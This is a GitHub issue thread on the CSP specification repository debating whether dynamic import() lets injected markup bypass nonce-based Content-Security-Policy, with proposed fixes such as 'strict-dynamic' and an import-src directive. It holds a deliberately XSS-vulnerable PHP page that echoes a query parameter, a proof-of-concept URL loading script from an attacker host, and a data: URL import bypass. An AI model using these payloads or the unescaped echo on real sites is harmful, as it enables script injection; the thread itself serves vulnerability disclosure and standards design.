Any protection against dynamic module import? #243

shhnjk · 2017-09-27T22:57:39Z

Example here shows a potential risk of CSP bypass when a developer uses dynamic module import. Just for simplicity, I've created bit modified page with CSP and XSS.

https://vuln.shhnjk.com/dynamite.php

<?php header("X-XSS-Protection: 0"); ?>
<!DOCTYPE html>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-test'">
<nav>
  <a href="books.html" data-entry-module="books">Books</a>
  <a href="movies.html" data-entry-module="movies">Movies</a>
  <a href="video-games.html" data-entry-module="video-games">Video Games</a>
</nav>
<!-- XSS starts -->
<?php echo $_GET["xss"] ?>

<main>Content will load here!</main>

<script nonce="test">
    const main = document.querySelector("main");
  for (const link of document.querySelectorAll("nav > a")) {
    link.addEventListener("click", e => {
      e.preventDefault();

      import(`/${link.dataset.entryModule}.js`)
        .then(module => {
          module.loadPageInto(main);
        })
        .catch(err => {
          main.textContent = err.message;
        });
    });
  }
</script>

Below PoC triggers XSS.
https://vuln.shhnjk.com/dynamite.php?xss=%3Cnav%3E%3Ca%20href=%22%22%20data-entry-module=%22/attack.shhnjk.com/allow.php?%22%3E%3Ch1%3EClick%20ME%3C/h1%3E%3C/a%3E

Any thoughts on protection against such attack?

The text was updated successfully, but these errors were encountered:

mozfreddyb · 2017-09-28T07:06:21Z

I can't reproduce this bypass on either Firefox 58 (nightly) nor Chromium 61.

The former reports

SyntaxError: import declarations may only appear at top level of a module (line 18)

the latter says

Uncaught SyntaxError: Unexpected token import

Can you help us reproduce?

shhnjk · 2017-09-28T07:10:14Z

This is Dynamic module import which is only implemented on Safari for now.
https://groups.google.com/a/chromium.org/forum/#!msg/blink-dev/ut-Mr0jt5X8/Q8B4F3wxBQAJ

mozfreddyb · 2017-09-28T07:10:47Z

Ah, I see this relies on this dynamic import proposal that has yet to land in most browsers.

Looking at the script-src definition, I read

The script-src directive restricts the locations from which scripts may be executed. This includes not only URLs loaded directly into script elements, but also things like inline script blocks and XSLT stylesheets [XSLT] which can trigger script execution. The syntax for the directive’s name and value is described by the following ABNF:

Maybe this needs to be extended to module scripts, dynamically loaded or not?

annevk · 2017-09-28T07:21:36Z

script-src as normatively defined through Fetch et al already accounts for module scripts and would block them. So while you could clarify the non-normative bits, this is at best an implementation bug.

shhnjk · 2017-09-28T07:36:22Z

I'm not worried about whitelist restriction. It would work in this case if specified.
But as far as reading document and research about CSP (here, here, and here), Strict-dynamic and Nonce based CSP protection is recommended for easy rollout and better protection.

But dynamic import allows Script-gadgets-like attack.

annevk · 2017-09-28T07:42:10Z

That's true for importScripts() too. At that point you're discussing whatwg/html#2640 (which unfortunately has a lot of noise toward the end now).

shhnjk · 2017-09-28T07:59:03Z

importScripts() only works on worker context. Where import() can be called anywhere (does not need "module" attribute).
import() intentionally provides dynamic loading of scripts depending on DOM structure and attributes. Where importScripts() doesn't.

annevk · 2017-09-28T08:01:38Z

That's fair, it pokes a hole in the status quo for documents that is unexpected.

cc @whatwg/modules @domenic

domenic · 2017-09-28T16:46:14Z

We've been careful to plumb the CSP machinery through while designing the dynamic import integration. For example, it is subject to nonce or script-src controls. Here you have explicitly said that the import is allowed by using the nonce on the containing type=module, for example.

In general we indeed treat this similarly to importScripts() or to inserting <script> elements.

I'm not sure what more we should be doing, if anything. Maybe it'd be easier to evaluate with a concrete proposal.

shhnjk · 2017-09-28T16:59:26Z

Well, if @mikewest has no concern, then I'm okay with it.

arturjanc · 2017-11-23T00:17:00Z

The current behavior seems problematic to me; if import() allows loading a new external script then it would be surprising if a nonce-less load was permitted by policy which requires all scripts to be blessed with a nonce.

Such behavior is what I would expect from a policy with 'strict-dynamic' -- import() is a programmatic API so the load should succeed in that case. However, for a nonce-only policy like in the example above the load should fail.

From a developer's point of view I think it makes sense to treat import(foo) like x=document.createElement('script'); x.src=foo. I.e. the load should be subject to the script-src host-source whitelist if present; otherwise, it should be allowed only if the policy includes 'strict-dynamic'.

If we agree, this means that a pure nonce-only CSP like in the example above cannot allow loading scripts via import. This should be fine because developers who use nonces without 'strict-dynamic' usually use them for inline scripts and use a whitelist for external scripts, which they could also do in this case. Developers who don't use a whitelist at all usually specify 'strict-dynamic' so if the current permissive behavior starts applying only in this case, they would also be fine (at the cost of allowing injections into import() to bypassing their policy, but that's part and parcel of 'strict-dynamic').

Additionally, it might be good to provide a mechanism allowing developers to allow import() to work with a nonce-only policy. This will reduce the likelihood that developers who want to have the safest nonce-based policies (without 'strict-dynamic') would need to start adding URLs to their script-src to work around this.

@mikewest WDYT?

devd · 2017-11-23T10:53:45Z

Hmm... We do use nonce based policies for external scripts and not inline scripts (recaptcha) so I would really like it if a nonce based import was supported too

…

On Nov 23, 2017 12:17 AM, "arturjanc" ***@***.***> wrote: The current behavior seems problematic to me; if import() allows loading a new external script then it would be surprising if a nonce-less load was permitted by policy which requires all scripts to be blessed with a nonce. Such behavior is what I would expect from a policy with 'strict-dynamic' -- import() is a programmatic API so the load should succeed in that case. However, for a nonce-only policy like in the example above the load should fail. From a developer's point of view I think it makes sense to treat import(foo) like x=document.createElement('script'); x.src=foo. I.e. the load should be subject to the script-src *host-source* whitelist if present; otherwise, it should be allowed only if the policy includes 'strict-dynamic'. If we agree, this means that a pure nonce-only CSP like in the example above cannot allow loading scripts via import. This should be fine because developers who use nonces without 'strict-dynamic' usually use them for inline scripts and use a whitelist for external scripts, which they could also do in this case. Developers who don't use a whitelist at all usually specify 'strict-dynamic' so if the current permissive behavior starts applying only in this case, they would also be fine (at the cost of allowing injections into import() to bypassing their policy, but that's part and parcel of 'strict-dynamic'). Additionally, it might be good to provide a mechanism allowing developers to allow import() to work with a nonce-only policy. This will reduce the likelihood that developers who want to have the safest nonce-based policies (without 'strict-dynamic') would need to start adding URLs to their script-src to work around this. @mikewest <https://github.com/mikewest> WDYT? — You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub <#243 (comment)>, or mute the thread <https://github.com/notifications/unsubscribe-auth/AAIXGdQ-gOm9e-HNGMuhyA0S6cZWBBn3ks5s5Ll9gaJpZM4Pmgee> .

arturjanc · 2017-11-23T15:48:54Z

Makes sense. Would you be okay with breaking the current behavior (i.e. nonce-only doesn't allow blessing import()) before we figure out how to allow nonces to work for this case? My slight worry is that if we wait, developers will start relying on this (as in, create nonce-only policies and use module imports in their apps) and making the behavior more restrictive later will break more people.

devd · 2017-11-24T20:51:14Z

Yes but maybe with an unsafe-imports keyword?

…

On Nov 23, 2017 9:18 PM, "arturjanc" ***@***.***> wrote: Makes sense. Would you be okay with breaking the current behavior (i.e. nonce-only doesn't allow blessing import()) before we figure out how to allow nonces to work for this case? My slight worry is that if we wait, developers will start relying on this (as in, create nonce-only policies and use module imports in their apps) and making the behavior more restrictive later will break more people. — You are receiving this because you commented. Reply to this email directly, view it on GitHub <#243 (comment)>, or mute the thread <https://github.com/notifications/unsubscribe-auth/AAIXGY7SpgeTbqKUTEScOikyTGg6PaAmks5s5ZPmgaJpZM4Pmgee> .

mikesamuel · 2018-06-20T14:14:52Z

This seems like a clear bypass to me.

Here's an example that disentangles the issue of network messages from code loading.

HTTP/1.0 200 OK
Content-Type: text/html; charset=UTF-8
Content-Security-Policy: default-src 'nonce-foo'

<!DOCTYPE html>
<script nonce="foo" type="module">
  let url = 'data:text/javascript,alert(1)';
  import(url);
</script>

In this example url is not attacker controlled, but there's no reason it couldn't be, and that string reaches the JavaScript parser without passing the Content-Security-Policy.

The import operator should check URLs against the policy whitelist before fetching, or if that fails, check the content hash against the allowed set of hashes.

To repeat

$ node -e '
require("http")
  .createServer(
    (req, res) => {
      res.writeHead(
        200,
        {
          "Content-type":            "text/html;charset=UTF-8",
          "Content-Security-Policy": "default-src \x27nonce-foo\x27",
        })
      res.end(`<!DOCTYPE html>
        <script nonce="foo" type="module">
          let url = "data:text/javascript,alert(1)";
          import(url);
        </script>`)
    })
  .listen(8080)
'

koto · 2018-06-20T14:21:42Z

This deviates from the spec a lot, but maybe import(url, nonce) would be the answer?

mikesamuel · 2018-06-20T14:50:27Z

@koto, so import(url) -> import(url, document.currentScript.nonce)?

I would prefer that not become common practice.

I like nonces in HTML, but it seems that relying on URL filters and hash checks for dynamic imports would provide better protection.

IIUC, top-level await addresses many of the use cases driving dynamic import and might probably land before any change to the import operator.

koto · 2019-02-01T17:02:55Z

The problem is that the whitelists (in CSP) are currently ignored if the loading script is nonced. Basically, Chrome implicitly performs a strict-dynamic like behavior, even if that keyword is not present in CSP. That sounds like a regression, and an unexpected one. Perhaps the loading should fail in a nonced script, unless strict-dynamic is present.

That way it would be clear to authors that they either use whitelists (which work), or nonces (which require strict-dynamic for a dynamic import).

briansmith · 2019-05-02T21:36:47Z

From a developer's point of view I think it makes sense to treat import(foo) like x=document.createElement('script'); x.src=foo. I.e. the load should be subject to the script-src host-source whitelist if present; otherwise, it should be allowed only if the policy includes 'strict-dynamic'.

In my projects I specifically want to prevent the creation of any script in the HTML outside of JS imports, so I'd like to prevent x=document.createElement('script'); x.src=foo while still allowing JS imports. In such a project I have one inline script that is protected by a CSP hash, which imports all the rest of the JS code, replacing all <script src>. Thus any <script> element in this project other than that one hashed one would be XSS. JS imports do same-origin-policy more correctly than <script src>, which I would hope would motivate migration away from non-module <script src> to module-only loaders.

Because of all that, I think a CSP policy should be able to have a separate policy for JS module imports and uses of <script>.

mikesamuel · 2019-05-04T15:03:32Z

@briansmith

Are you imagining that, in the same way that <script src> is vetted by script-src or if that's not present default-src, that import ... from ... and import(...) would be vetted by import-src or else script-src or else default-src?

If I adopt this model, I can imagine my one hashed source might be simple:

import main from './main';
main();

I can do static analysis of import ... from ... to figure out the set of files, but if any of them use import(...) then I still need to have some controls to be sure that my program only contains trustworthy code.

How would you use import-src to deal with that, and how would that differ from what you can do with script-src, default-src today?

briansmith · 2019-05-05T03:30:39Z

If I adopt this model, I can imagine my one hashed source might be simple:
import main from './main';
main();

This is exactly what I'm suggesting.

I can do static analysis of import ... from ... to figure out the set of files, but if any of them use import(...) then I still need to have some controls to be sure that my program only contains trustworthy code.

Right. However, keep in mind that there are two use cases for dynamic import: controlling when a statically-known module is imported (the argument to import() is a constant), and importing a module where the module itself is decided at runtime (the argument to import() is a non-constant expression).

Really I'd like to control the case where the argument to import() is a non-constant expression separately from everything else.

How would you use import-src to deal with that, and how would that differ from what you can do with script-src, default-src today?

I would do something like script-src 'sha256-....'; static-import-src *; variable-import-src 'none' to prevent the execution of any <script> other than my one whitelisted loader, and allow that loader to (transitively) use static imports and dynamic imports with constant arguments freely, and prevent any dynamic imports with a non-constant argument. Or, if I need to allow truly dynamic imports then I would restrict them in similar ways that we restrict script-src today, but I would still want to block all execution of any <script> other than my whitelisted one.

<script src> is dead, basically.

briansmith · 2019-05-05T03:31:38Z

constant-import-src may be a better name than static-import-src for the idea I'm expressing.

mikesamuel · 2019-05-08T16:03:14Z

@briansmith Thanks for explaining. The difference between "constant" and "static" came up at
https://github.com/mikesamuel/evalable/issues/3#issuecomment-488388767 where I talk about reasons that TC39 might push back against semantics that differ based on whether an argument is a literal string.

briansmith · 2019-05-08T18:01:51Z

The difference between "constant" and "static" came up at
mikesamuel/evalable#3 (comment) where I talk about reasons that TC39 might push back against semantics that differ based on whether an argument is a literal string.

Thanks. That's interesting. Your argument is of the form "closure compiler does X, so we can't do Y." But, that seems like the tail wagging the dog to me. I think that if we do Y then the closure compiler needs to reconsider whether it makes sense to continue doing X. In this case, I would say that if this feature were implemented the way I'm proposing, it would be a bad idea for the closure compiler to replace import(x) with import("literal") during inlining.

mikesamuel · 2019-05-08T18:51:27Z

@briansmith I was talking about code bundlers in general; closure compiler is just the one I'm most familiar with. Constant folding and inlining optimizations are pretty central to JS minification though and the effect of breaking folding on later dead code elimination passes can be pronounced.

Try https://skalman.github.io/UglifyJS-online/ with

(() => {
  var s = 'foo';
  import(s)
})()

and you get

import("foo");

For import, you may be right though. Uses of import are reliably statically distinguishable in a way that uses of Function are not.

briansmith · 2019-05-08T19:07:06Z

@mikesamuel I just used closure because that's what you used in your example.

For import, you may be right though. Uses of import are reliably statically distinguishable in a way that uses of Function are not.

I agree.

Also, I'm not sure that it would be terrible for security if the bundler did do the inlining, because the bundler probably isn't going to be using third-party (user-generated) content as the constant that gets inlined into the import, right? At least, it seems unlikely enough where it seems reasonable to tell people developing bundlers "don't do that" and carry on knowing that some of them will be late in taking that advice.

mikesamuel · 2019-05-08T19:16:45Z

@briansmith Ok. I don't think we disagree materially then.

Also, I'm not sure that it would be terrible for security if the bundler did do the inlining

Agreed and I think I called that out in that thread, but semantics-breaking is bad for bundler usability.

briansmith · 2019-05-13T21:49:19Z

import main from './main';
main();

I think this is the minimal loader script:

<script>
// Disable all future use of `<script>`.
const meta = document.createElement("meta");
meta.httpEquiv = "Content-Security-Policy";
meta.content = "script-src 'none'";
document.head.appendChild(meta);

// Load script.
import('./main').then((main) => main.main())
</script>

Note that this uses the "constant dynamic import" idea described above because the import has to appear after <script> is disabled if one wants to prevent main.main() from being executed twice; see #392.

andypaicu added this to the Future milestone Jan 9, 2018

koto mentioned this issue Jun 20, 2018

Handling of dependent types w3c/trusted-types#6

Closed

arturjanc mentioned this issue Dec 4, 2018

Choose a consistent model for workers under nonce-based policies #375

Open

dandclark mentioned this issue Jan 25, 2019

CSP and HTML Modules w3c/webappsec#544

Open

briansmith mentioned this issue May 6, 2019

Enforce "at most once" semantics for scripts #392

Open

briansmith mentioned this issue Jun 15, 2019

Scripts only in <head> #395

Closed

filoxo mentioned this issue Dec 2, 2019

Add 'security' content to FAQ single-spa/single-spa.js.org#128

Merged

ctidd mentioned this issue Mar 19, 2021

Accessing the nonce from JS, effectively makes all nonce based CSPs strict-dynamic #458

Open

shhnjk mentioned this issue Jul 16, 2021

Consider adding import-src #506

Open

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Any protection against dynamic module import? #243

Any protection against dynamic module import? #243

shhnjk commented Sep 27, 2017 •

edited

Loading

mozfreddyb commented Sep 28, 2017 •

edited

Loading

shhnjk commented Sep 28, 2017

mozfreddyb commented Sep 28, 2017

annevk commented Sep 28, 2017

shhnjk commented Sep 28, 2017

annevk commented Sep 28, 2017

shhnjk commented Sep 28, 2017

annevk commented Sep 28, 2017

domenic commented Sep 28, 2017

shhnjk commented Sep 28, 2017

arturjanc commented Nov 23, 2017

devd commented Nov 23, 2017 via email

arturjanc commented Nov 23, 2017

devd commented Nov 24, 2017 via email

mikesamuel commented Jun 20, 2018

koto commented Jun 20, 2018

mikesamuel commented Jun 20, 2018

koto commented Feb 1, 2019

briansmith commented May 2, 2019

mikesamuel commented May 4, 2019 •

edited

Loading

briansmith commented May 5, 2019

briansmith commented May 5, 2019 •

edited

Loading

mikesamuel commented May 8, 2019

briansmith commented May 8, 2019

mikesamuel commented May 8, 2019

briansmith commented May 8, 2019

mikesamuel commented May 8, 2019

briansmith commented May 13, 2019 •

edited

Loading

Any protection against dynamic module import? #243

Any protection against dynamic module import? #243

Comments

shhnjk commented Sep 27, 2017 • edited Loading

mozfreddyb commented Sep 28, 2017 • edited Loading

shhnjk commented Sep 28, 2017

mozfreddyb commented Sep 28, 2017

annevk commented Sep 28, 2017

shhnjk commented Sep 28, 2017

annevk commented Sep 28, 2017

shhnjk commented Sep 28, 2017

annevk commented Sep 28, 2017

domenic commented Sep 28, 2017

shhnjk commented Sep 28, 2017

arturjanc commented Nov 23, 2017

devd commented Nov 23, 2017 via email

arturjanc commented Nov 23, 2017

devd commented Nov 24, 2017 via email

mikesamuel commented Jun 20, 2018

koto commented Jun 20, 2018

mikesamuel commented Jun 20, 2018

koto commented Feb 1, 2019

briansmith commented May 2, 2019

mikesamuel commented May 4, 2019 • edited Loading

briansmith commented May 5, 2019

briansmith commented May 5, 2019 • edited Loading

mikesamuel commented May 8, 2019

briansmith commented May 8, 2019

mikesamuel commented May 8, 2019

briansmith commented May 8, 2019

mikesamuel commented May 8, 2019

briansmith commented May 13, 2019 • edited Loading

shhnjk commented Sep 27, 2017 •

edited

Loading

mozfreddyb commented Sep 28, 2017 •

edited

Loading

mikesamuel commented May 4, 2019 •

edited

Loading

briansmith commented May 5, 2019 •

edited

Loading

briansmith commented May 13, 2019 •

edited

Loading